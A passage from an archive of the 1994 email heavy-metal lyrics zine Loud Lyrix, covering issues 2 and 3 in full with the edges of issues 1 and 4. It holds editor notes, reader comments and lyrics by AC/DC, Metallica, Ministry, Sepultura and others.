C-ya!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
End -- Loud Lyrix #1

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_ ____ _ _ _____ _ __ _______ _______ __
| | / __ \| | | | __ \ | | \ \ / / __ \|_ _\ \ / /
| | | | | | | | | | | | | | \ \_/ /| |__) | | | \ V /
| | | | | | | | | | | | | | \ / | _ / | | > <
| |___| |__| | |__| | |__| | | |____| | | | \ \ _| |_ / . \
|______\____/ \____/|_____/ |______|_| |_| \_\_____/_/ \_\
Loud Lyrix, March 29, 1994, Issue # 2
Addresses
---------
Internet: lyrix@terranet.cts.com
UUCP: generic!zoo.toronto.edu!terranet!lyrix
ARPA: generic!terranet!lyrix@zoo.toronto.edu
FTP: None
Gopher: None
Usenet: None
Editor-in-Chief: Death Incarnate (Gino Filicetti)
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti)
Mailing Program: NONE! Everything is done by hand.
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #2, 3/29/94
-----------------------
Hello people! We're back with our second issue of Loud Lyrix. The first
issue went really well, and I'm glad you guys (the ones that wrote me!),
liked it. I hope you all enjoy this issue as much or more! This week we've
had some reader submissions, only the first three songs are from me, the
rest are from readers, plus a bonus song, "Reeking Breath", a parody of
Metallica's ever kewl "Creeping Death".... it's really funny, so I thought
I'd share it with the rest of you. I still have lots of work to do,
converting some lyrics I have to printable format, and checking their
spelling and everything, but don't fret, I'll get around to it sooner or
later.
Many thanks to all our subscribers who have been spreading the word on
Loud Lyrix. As it stands right now, we have 79 subscribers. An amazing
number considering this is only our second issue. But we need more and more
people to spread the word, so if you know of some lists or newsgroups to
post our ad too, just tell me, and I'll send you an official copy of our ad
so you can post it.
Comments and reactions are always welcomed, most, if not all the comments
I receive will be printed in an upcoming issue. Also, as always, SEND IN
LYRICS, if there is something you want to see, or some band that you think
we never print, then either send me the lyrics, or send a request, and
I'll do my best to find them. BTW, when you send in lyrics, make SURE that
you tell me who performs the song, which album it's from and especially
the title of the song. Also, tell me if it's a cover or not, and who the
original performers were. This is just common courtesy, because I don't
have time to hunt around, and find the information on a whole bunch of
miscellaneous songs.
Ok everyone, here's Loud Lyrix #2.
CONTENTS
--------
Reader's Comments
Song 1: "Jailbreak" by AC/DC
Song 2: "Master of Puppets" by Metallica
Song 3: "Electric Eye" by Judas Priest
Song 4: "No Apology" by Believer (contributed by Phil Powell)
Song 5: "Face the Day" by The Angels (contributed by Alex Carranza)
Song 6: "Just One Fix" by Ministry (contributed by Cobalt Raven)
Song 7: "Time" by Pink Floyd (contributed by John Lopes)
Song 8: "Reeking Breath" by Crash (contributed by Arnold Mohammed)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************** R E A D E R ' S C O M M E N T S ********************
Compiled by Gino Filicetti
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Date: Wed, 23 Mar 94 20:19:16 -0500
To: Gino Filicetti <lyrix@terranet.cts.com>
From: "Richard Singer" <wk03814@worldlink.com>
Subject: Re: Loud Lyrix #1
>********************* E X P E N A B L E Y O U T H ***********************
> by S L A Y E R
> Album: "Season's in the Abyss"
Nah . . . Maybe this band just doesn't do it for me . . . The lyrics strike
me as pretentious, the song doesn't convey enough meaning to justify some
of the big language. It's just a matter of taste -- don't start a flame war
with me now :-) . . .
>*********************** S L A U G H T E R A M A ***************************
> by G W A R
> Album: "Scumdogs of the Universe"
>
I laughed at this in spite of myself . . . The black humor is reminiscent
of the Dead Boys. But when the Dead Boys sang "I'm gonna beat up the next
hippie I see" back in 1977, it was a little more fun, because the hippies
were putting out so much bad music and culture. But what's the point of
picking on a hippie these days? The targets of this song are too easy . . .
It's easy to poke fun at marginal types. Gwar's point may be that these
people choose to marginalize themselves, but the people in the mainstream
often are even worse. I guess I'm going on longer about this one because
Gwar shows a great comic talent . . . I just wish it were aimed at a better
place. (I like their grotesque puppet videos, though.)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*************************** J A I L B R E A K *****************************
by A C / D C
Album: "'74 Jailbreak"
There was a friend of mine on murder
And the judge's gavel fell,
Jury found him guilty,
Gave him sixteen years in hell.
He said "I ain't spending my life here,
I ain't living alone,
Ain't breaking no rocks on the chain gang,
I'm breakin' out and headin' home.
Gonna make a Jailbreak
And I'm lookin' towards the sky,
I'm gonna make a Jailbreak,
Oh, how I wish that I could fly.
All in the name of Liberty
All in the name of Liberty
Just set me free
Jailbreak, let me out of here
Jailbreak, sixteen years,
Jailbreak, had more than I can take
Jailbreak, yeah."
He said he'd seen his lady being fooled with
by another man.
She was down and he was up
He had a gun in his hand.
Bullets started flying everywhere
And people started to scream
Big man lying on the ground
With a hole in his body
Where his life had been
But it was
All in the name of Liberty
All in the name of Liberty
I got to be free.
Jailbreak, Jailbreak
I got to break out
Out of here.
Heartbeats they were racin',
Freedom he was chasin',
Spotlights, sirens, rifles firing,
But he made it out
With a bullet in his back.
**************************** T H E E N D ********************************
Typed by: Lyrics archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************** M A S T E R O F P U P P E T S ********************
by M E T A L L I C A
Album: "Master of Puppets"
End of passion play, crumbling away
I'm your source of self-destruction
Veins that pump with fear, sucking darkest clear
Leading on your deaths' construction
Taste me you will see
More is all you need
You're dedicated to
How I'm killing you
Come crawling faster
Obey your master
Your life burns faster
Obey your Master
Master
Master of puppets I'm pulling your strings
Twisting your mind and smashing your dreams
Blinded by me, you can't see a thing
Just hear my name, 'cause I'll hear you scream
Master
Master
Needlework the way, never you betray
Life of death becoming clearer
Pain monopoly, ritual misery
Chop your breakfast on a mirror
Taste me you will see
More is all you need
You're dedicated to
How I'm killing you
Come crawling faster
Obey your Master
Your life burns faster
Obey your Master
Master
Master of puppets I'm pulling your strings
Twisting your mind and smashing your dreams
Blinded by me, you can't see a thing
Just call my name, 'cause I'll hear you scream
Master
Master
Just call my name, 'cause I'll hear you scream
Master
Master
Master, Master, where's the dreams that I've been after?
Master, Master, you promised only lies
Laughter, laughter, all I hear or see is laughter
Laughter, laughter, laughing at my cries
Hell is worth all that, natural habitat
Just a rhyme without a reason
Never ending maze, drift on numbered days
Now your life is out of season
I will occupy
I will help you die
I will run through you
Now I rule you too
Come crawling faster
Obey your Master
Your life burns faster
Obey your Master
Master
Master of puppets I'm pulling your strings
Twisting your mind and smashing your dreams
Blinded by me, you can't see a thing
Just call my name, 'cause I'll hear you scream
Master
Master
Just call my name, 'cause I'll hear you scream
Master
Master
*************************** T H E E N D *********************************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************ E L E C T R I C E Y E **************************
by J U D A S P R I E S T
Album: "Screaming for Vengeance"
Up here in space
I'm looking down on you.
My lasers trace
Everything you do.
You think you've private lives
Think nothing of the kind.
There is no true escape
I'm watching all the time.
I'm made of metal
My circuits gleam.
I am perpetual
I keep the country clean.
I'm elected electric spy
I protected electric eye.
Always in focus
You can't feel my stare.
I zoom into you
You don't know I'm there.
I take a pride in probing all your secret moves
My tearless retina takes pictures that can prove.
Electric eye, in the sky
Feel my stare, always there
There's nothing you can do about it.
Develop and expose
I feed upon your every thought
And so my power grows.
Protected. Detective. Electric eye.
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*************************** N O A P O L O G Y ***************************
by B E L I E V E R
Album: "Dimensions"
No more will I regress backward,
from that which I believe.
I owe no mann an explanation,
expect no apology.
Logic defends age old prophecies,
Christ's life, death and
resurrection,
proof of absolute deity,
expect no apology.
Not one regret
impenitent
No more will I regress backward
from which I believe
I owe no man an explanation
expect no apology.
Not one regret
impenitent
**************************** T H E E N D ********************************
Typed by: Phil Powell <metalhed@cap.gwu.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
This song is "Face The Day" by The Angels (an aussie metal band). You may
be more familiar with the Great White version, which was after all, their
first big hit. Here's the original, which really kicks twice as much ass as
the GW cover did. -- Alex Carranza
*********************** F A C E T H E D A Y ***************************
by T H E A N G E L S
Album: "Dark Room"
I don't wanna face the day, the day, today
I don't wanna face the day, the day, today
Long night leaves me stranded
Black visions, danger signs
No love, need protection
Feels like I'm on production line
Daggers of dawn, cold hearted-day
Why does it have to be morning?
Cover my head, stayin' in bed
Too late, the luckless warning
I don't wanna face the day, the day, today
I don't wanna face the day, the day, today
Outside, screaming city
Red lights and hungry eyes
Sucks like a space invader
The vacuum of its lies
Stealing my strength, stealing my time
It's reigning in a world of traitors
I don't wanna face the day
I don't wanna face the day
Let me keep on sleeping
Forget that I'm alone
One day of faceless living
Is 24 hours too long!
I don't wanna face the day
I don't wanna face the day
I don't wanna face the day, the day, today
I don't wanna face the day, the day, today
Give the night, it's more forgiving
Hold back the light from my eyes
Please stay invisible darkness
Can't see the tears I cry
I know it's coming loaded with nothing
Trapped in a tunnel of time
I don't wanna face the day (repeats to end)
**************************** T H E E N D ********************************
Typed by:
---------
Alex Carranza <carranza@nevada.edu>
University of Nevada, Las Vegas.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************* J U S T O N E F I X *************************
by M I N I S T R Y
Album: "Psalm 69: The Way to Succeed, and the Way to Suck Eggs"
Blood keeps drinking away
Certain of its destination
Driving through New Orleans at night
Gotta find a destination
Just one fix
Life keeps slipping away
Fighting in a war with damnation
Poised, keep cutting away
I'm looking in through to salvation
Just one fix
Like if I boarded a train
Trying to take in another station
Join us and the choice will be made
Unless we kill the lie as a nation
Just one fix
**************************** T H E E N D ********************************
Typed by: Cobalt Raven <gebhart-hnt1@kaman.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************************* T I M E *********************************
by P I N K F L O Y D
Album: "Dark Side of the Moon"
Ticking away the moments that make up a dull day
You fritter and waste the hours in a off hand way
Kicking around on a piece of ground in your home town
Waiting for someone or something to show you the way
Tired of flying in the sunshine staying home to watch the rain
You are young and life is long and there is time to kill today
And then one day you find ten years have got behind you
No one told you when to run, you missed the starting gun
And you run and you run to catch up with the Sun
But it's sinking and racing around to come up behind you again
The Sun is the same in the relative way, but you're older
And shorter of breath and one day closer to death
Every year is getting shorter, never seem to find the time
Plans that either come to naught or half a page of scribbled lines
Hanging on in quiet desperation is the English way
The time is gone the song is over, thought i'd something more to say
**************************** T H E E N D ********************************
Typed by:
---------
John Lopes <john.lopes@ablelink.org>
AKA: Gun Runner
AKA: Sneaky DEE
AKA: MeLLow SiD
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************* R E E K I N G B R E A T H *************************
by C R A S H
Album: "{None}"
Parody of Metallica's "Creeping Death"
-Intro. riffs
WAKE! Wanna hide my face beneath the covers!
STENCH! Can't believe last night how close we were!
PASTE! Coating both our mouths like insulation!
KISS? Are you kidding me? You'd best be sure!
So gimme some mouthwash!
So gimme some gum!
Or even a swig of last night's rum!
So gimme the Colgate
Or you'd better run!
My mouth's a phaser set on stun! - UGH! It's reeking breath!!
TALK? Cannot say a word, plants are dying!
SNEEZE? I sure hope we don't, eyes'll burn!
EAT! Any fucking thing you get your hands on!
PLEASE! Just don't look at me, I won't turn!
So gimme some mouthwash!
So gimme some gum!
Or even a swig of last night's rum!
So gimme the colgate
Or you'd better run!
My mouth's a phaser set on stun! - HELP! It's reeking breath!!
-listen ta Kirk Hamster! -> chanting part
HIDE! From this reek!
Feels like it's been a week since I've brushed my teeth!
HIDE! From this reek!
Feels like it's been a week since I've brushed my teeth!
I! Just can't bear with this abomination!
CALL! The exterminator or EPA!
RAID! If I could get this stuff into a spray can
BUGS! Fuckers sure would run to get away...Yeaheeyeah!!!
So gimme some mouthwash
So gimme some gum!
Or even a swig of last night's rum!
So gimme the colgate
Or you'd better run!
My mouth's a phaser set on stun! - OOOOOH! It's reeking BREEE-eeye-eeye-
eeyeeeyeye-EATH!!
-end licks and riff
**************************** T H E E N D ********************************
Typed by: Mr. Bag ("Crash") <St910591@pip.cc.brandeis.edu>
Sent in by: Arnold Mohammed <kain@io.org>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
... And this concludes our second issue of Loud Lyrix. Take care everyone,
and don't do anything that I WOULD do. :)
C-ya!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
End -- Loud Lyrix #2

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.____ ________ ____ ___________
| | \_____ \ | | \______ \
| | / | \| | /| | \
| |___/ | \ | / | ` \
|_______ \_______ /______/ /_______ /
\/ \/ \/
.____ _____.___.__________._______ ___
| | \__ | |\______ \ \ \/ /
| | / | | | _/ |\ /
| |___ \____ | | | \ |/ \
|_______ \/ ______| |____|_ /___/___/\ \
\/\/ \/ \_/
Loud Lyrix, April 5, 1994, Issue # 3
Addresses
---------
Internet: lyrix@terranet.cts.com
UUCP: generic!zoo.toronto.edu!terranet!lyrix
ARPA: generic!terranet!lyrix@zoo.toronto.edu
FTP: None
Gopher: None
Usenet: None
Editor-in-Chief: Death Incarnate (Gino Filicetti)
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti)
Mailing Program: NONE! Everything is done by hand.
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #3, 4/05/94
-----------------------
Hello all you cool headbanger's out there in cyberspace, Loud Lyrix is
back with our 3rd issue.... Where has the time flown! It seems like just
yesterday that Loud Lyrix was nothing more than a spark of ingenuity in my
mind, and now look at us, after only 2 issues, Loud Lyrix now has over 120
subscribers, plus 5 newsgroup postings, so who know HOW many people see
the 'zine.... I just wanna say thanx to all our contributing subscribers,
it has definitely taken a load off of myself, and it's nice to know that
there actually people alive out there, and willing to help...THANX!
Now it's time for a serious request I have for all of you, I'm in GREAT
need of a LISTSERV that I could hook up with, so I can automate the
subscribing and mailing of Loud Lyrix... if any of you are postmasters or
sysadmin's or moderators of some list, I desperately need your help... all
I ask is for inclusion in your LISTSERV... you'll have my eternal
gratitude, plus, Loud Lyrix will be better and faster for everyone, I'm
asking again.... please, please please!! :-)
Ok people, I've thought it over, and I want to offer you guys something,
from now on, in addition to sending in submissions or comments, you guys
can send in requests for lyrics... I will do my best to locate the lyrics
in the archives around the world, and if that still doesn't work, I will
post your request in the 'zine, so that maybe a subscriber can help.
Ok everyone, last thing, I'm pretty disappointed in most of you, I haven't
been getting the number of comments that I'd like, if I don't receive
comments, I can't print any, so you will get a dry, boring issue like
this one, but if I had lot's of people mailing me with some reactions to
the song's we've printed, the 'zine would be a whole lot better and more
interesting.... so c'mon guyz... make an effort....
Ok, here you are, Loud Lyrix #3... enjoy!
CONTENTS
--------
Song 1: "Arti-ficial" by X-Ray Spex
Song 2: "Cemetary Gates" by Pantera
Song 3: "Flaming Telepaths" by Blue Oyster Cult
Song 4: "Junkhead" by Alice in Chains
Song 5: "Force Fed" by Precious Death
Song 6: "The Four Horsemen" by Metallica
Song 7: "Stigmata" by Ministry
Song 8: "Manifest" by Sepultura
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Preface: I know I don't really share most of the tastes expressed by Loud
Lyrix, but I like to invade lists with my own perverse tastes whenever
possible :-). I happened to have the lyrics from an old X-ray Spex album
near my computer, and I think they're pretty funny and sharp. Besides, this
great late '70s band definitely was LOUD! -- Richard Singer
[Editor -- just to let everyone know, we aren't as strict as you think
about posting ONLY Heavy Metal lyrics in Loud Lyrix, as long as you don't
expect us to print some pop or A/C songs, don't worry about the genre you
send in, as long as it's funny or makes a statement, I'll probably put it
in, it's always worth a shot to ask right?]
************************* A R T I - F I C I A L ***************************
by X - R A Y S P E X
Album: "Germ Free Adolescents"
I know I'm artificial
But don't put the blame on me
I was reared with appliances
In a consumer society
When I put on my make-up
The pretty little mask not me
That's the way a girl should be
In a consumer society
My existence is illusive
The kind that is supported
By mechanical resources
My existence is illusive
The kind that is supported
By mechanical resources
I wanna be insta-matic
I wanna be a frozen pea
I wanna be dehydrated
In a consumer society
In a consumer society
In a consumer society
***************************** T H E E N D *******************************
Typed By: Richard Singer <wk03814@worldlink.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************** C E M E T A R Y G A T E S ************************
by P A N T E R A
Album: "Cowboys from Hell"
The Reverend he turned to me
Without a tear in his eyes It's nothing new for him to see
I didn't ask him why
I will remember
The love our souls had sworn to make
Now I watch the falling rain
All my mind can see
Now is your (face)
Well I guess
You took my youth
I gave it all away
Like the birth of a
New found joy
This love would end in rage
And when she died
I couldn't cry
The pride within my soul
You left me incomplete
All alone as the
Memories now unfold
Believe the word
I will unlock my door
And pass the
Cemetary Gates
Sometimes when I'm alone
I wonder aloud
If you're watching over me
Some place far abound
I must reverse my life
I can't live in the past
Then set my soul free
Belong to me at last
Through all those
Complex years
I thought I was alone
I didn't care to look around
And make this world my own
And when she died
I should've cried and spared myself some pain...
Left me incomplete
All alone as the memories still remain
The way we were
The chance to save my soul
And my concern is now in vain
Believe the word
I will unlock my door
And pass the cemetary gates.
***************************** T H E E N D *******************************
Typed By: Bill Northrup <pioneer@cjbbs.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************** F L A M I N G T E L E P A T H S ********************
by B L U E O Y S T E R C U L T
Album: "Secret Treaties"
Well I've opened up my veins too many times
And the poison's in my heart and in my mind
Poison's in my bloodstream, poison's in my pride
I'm after rebellion, I'll settle for lies
Is it any wonder that my mind's on fire
Imprisoned by the thoughts of what you do
Is it any wonder that the joke's an iron
And the jokes on you
Experiments that failed too many times
Transformations that were too hard to find
Poison's in my bloodstream, poison's in my pride
I'm after rebellion, I'll settle for lies
Yes I know the secrets of the iron and mind
They're trinity acts a mineral fire
Yes I know the secrets of the circuitry mind
It's a flaming wonder telepath
Well I've opened up my veins too many times
And the poison's in my heart and in my mind
Poison's in my bloodstream, poison's in my pride
I'm after rebellion, I'll settle for lies
Is it any wonder that my mind's on fire
Imprisoned by the thoughts of what you do
Is it any wonder that the joke's an iron
And the jokes on you
And the joke's on you ...
**************************** T H E E N D ********************************
Typed by: Cobalt Raven <gebhart-hnt1@kaman.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************************** J U N K H E A D ****************************
by A L I C E I N C H A I N S
Album: "Dirt"
A good night, the best in a long time
A new friend turned me on to an old favorite
Nothing better than a dealer who's high
Be high, convince them to buy
What's my drug of choice?
Well, what have you got?
I don't go broke
And I do it a lot
Seems so sick to the hypocrite norm
Running their boring drills
But we are an elite race of our own
The stoners, junkies, and freaks
Are you happy? I am, man.
Content and fully aware
Money, status, nothing to me
'Cause your life is empty and bare
You can't understand a user's mind
But try, with your books and degrees
If you let yourself go and opened your mind
I'll bet you'd be doing like me
And it ain't so bad
Say, I do it a lot!
Say, I do it a lot!
Say, I do it a lot!
Say, I do it a lot!
**************************** T H E E N D ********************************
Typed by: Cobalt Raven <gebhart-hnt1@kaman.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*************************** F O R C E F E D *****************************
by P R E C I O U S D E A T H
Album: "Southpaw"
Eyes wide open, feed on every line
Every picture, every word
The cut so deep and razor fine
And is it any wonder
That what I hate is what I seek?
When blood becomes the common scene
When heart is hard and flesh is weak?
And I will not be lied or denied
I will not accept, respect or bow to..
Everything you give is everything you take
And I don't even think
That I know how to.
Turn around and walk
Into the death that was my life
Or maybe life that was my death
And I may be your human target
But only 'til my final breath.
Force fed
Exploited 'til dead
Force fed
Misguided 'til dead
Crush the soul and fill the hole
With any substitute to take the place
Far away
>From sacrifice and grace
Eyes wide open and
I'm blind, blind, blind
Smoke from your lips to
Take my vision
Blood from the sun to make me shine.
***************************** T H E E N D *******************************
Typed By: Phil Powell <metalhed@cap.gwu.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[ Editor -- Ok people, I just want to mention that this is my FAVORITE
Metallica song of ALL TIME... it ranks as one of my all time favorite songs
ever, truly a master piece, but of course, the without the music, how could
you tell? :-) ]
******************* T H E F O U R H O R S E M E N *********************
by M E T A L L I C A
Album: "Kill 'Em All"
By the last breath of the fourth winds blow
Better raise your ears
The sound of hooves knocks at your door
Lock up your wife and children now
It's time to wield the blade
For now you have got some company
The Horsemen are drawing nearer
On the leather steeds they ride
They have come to take your life
On through the dead of night
With the four Horsemen ride
or choose your fate and die
You have been dying since the day
You were born
You know it has all been planned
The quartet of deliverance rides
A sinner once a sinner twice
No need for confession now
Cause now you have got the fight of your life
The Horsemen are drawing nearer
On the leather steeds they ride
They have come to take your life
On through the dead of night
With the four Horsemen ride
or choose your fate and die
Time
has taken its toll on you
The lines that crack your face
Famine
Your body it has torn through
Withered in every place
Pestilence
For what you have had to endure
And what you have put others through
Death
Deliverance for you for sure
There is nothing you can do
So gather round young warriors now
and saddle up your steeds
Killing scores with demon swords
Now is the death of doers of wrong
Swing the judgement hammer down
Safely inside armor blood guts and sweat
The Horsemen are drawing nearer
On the leather steeds they ride
They have come to take your life
On through the dead of night
With the four Horsemen ride
or choose your fate and die
***************************** T H E E N D *******************************
Typed By: Gregory Smith <GS6368@ALBNYVMS.bitnet>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[ Editor -- If you are offended by the swearing in this song, then you do
not deserve to be a Loud Lyrix subscriber. Remember, it's just a song. ]
*************************** S T I G M A T A *******************************
by M I N I S T R Y
Album: "Land of Rape and Honey"
You ran out of lies!
You ran out of lies! Lies!
Stronger than reason, stronger than life
The only truth I know is the look in your eyes
The look in your eyes!
Just like a car crash, just like a knife
My favorite weapon is the look in your eyes
You ran out of lies!
You ran out of life!
You ran out of lies!
Get out of my life!
And I'm chewing on glass and tasting my fingers
I'm not the one who's run out of lies, lies!
You ran out of life!
You ran out of time!
Judging my faith and walking on splinters
I lost my soul to the look in your eyes
Your eyes! You ran out of lies!
Ran out of time...
Stigmata! You ran out of lies!
Oh, you have empty eyes! (yes)
Oh, you have empty lies! (yes)
They told me nothing
Nothing but lies!
Yes! Yes! Yes! Yes!
Fuck! Fuck! Fuck! Fuck!
Fuck me! Fuck me!
Fuck you! Fuck you!
Fuck everyone! Fuck the church!
Fuck Jesus! Fuck Mary!
Fuck the Jews! Fuck the Buddhists!
Fuck the Hindus! Fuck George Bush!
Fuck his ugly wife! Fuck Tipper Gore!
Fuck everyone! Fuck Gorbachev!
Fuck Noriega! Fuck all these assholes!
Fuck you! Fuck me! Fuck all of you!
Stigmata! Stigmata! Stigmata! Stigmata!
They told me nothing but lies!
Lies! Lies! Lies! Lies!
**************************** T H E E N D ********************************
Typed by: Bill Northrup <pioneer@cjbbs.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[ Editor -- Ok dudes, here is one song that I want EVERYONE to comment on,
it's by Sepultura, a Brasilian Death Metal band (if you didn't know), I
think this song has an excellent message, and it pretty much explains why
they had "Kill the Cops" and "Pig-Proof" on their speakers at their
concert!... but still, I believe that their hatred is justified, if this
story is any indication of the behavior of Brasilian cops. ]
**************************** M A N I F E S T ******************************
by S E P U L T U R A
Album: "Chaos A.D."
Friday, October 2nd, 1992
Chaos has descended in "Carandiru,"
The biggest penitentiary complex in
South America
Over a hundred inmates dead and
Hundreds injured on the massacre
The police arrived with helicopters
And over two hundred armed forces
They took the jailblock
Called
"Pavihao Nove"
And opened fire on the
Inmates in a Holocaust, method of
Annihilation, the government of the city
Of Sao Paulo cannot control
The brutality of its police
Holocaust, body piles
Confrontation, mutilation
Discipline, ignorance
Conflagration, torture
Over eighty percent of the inmates were
Not sentenced yet, the bodies were filled
With bullets and bites from the police dogs
The police try to hide the massacre saying
There were only eight deaths
The violence of Brasilian cops is very well
Known outside of Brazil, this kind of
Extermination is a method that they use to
Get rid of the over population in the jails
The violence of the cops left the whole
Pavillion destroyed after the rebellion
"Pavihao Nove" (Pavihao 9)
***************************** T H E E N D *******************************
Typed by: The Lyrics archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Whew! That's it! .... if any of you are interested in how long it takes for
me to put together an issue of Loud Lyrix.... it usually takes me 10 to 20
minutes to put all the songs together, and type up my editorials and
stuff, but first I have to format the songs the way you see them, and that
is a very tedious job... but enough boredom... have a good week everyone,
I hope your Easter was enjoyable, and don't forget about the LISTSERV
thing, I BADLY need one to hook up with, so please help me out.
C-ya!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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\ \ \ __`\ `\ /' \ \ , / \ \ \ `\/ > <
\ \ \L\ \ `\ \ \ \ \ \\ \ \_\ \__ \/'/\`\
\ \____/ \ \_\ \ \_\ \_\/\_____\/\_\\ \_\
\/___/ \/_/ \/_/\/ /\/_____/\/_/ \/_/
Loud Lyrix, April 12, 1994, Issue # 4
Addresses
---------
Internet: lyrix@terranet.cts.com
UUCP: generic!zoo.toronto.edu!terranet!lyrix
ARPA: generic!terranet!lyrix@zoo.toronto.edu
FTP: None
Gopher: None
Usenet: None
Editor-in-Chief: Death Incarnate (Gino Filicetti)
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti)
Mailing Program: NONE! Everything is done by hand.
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
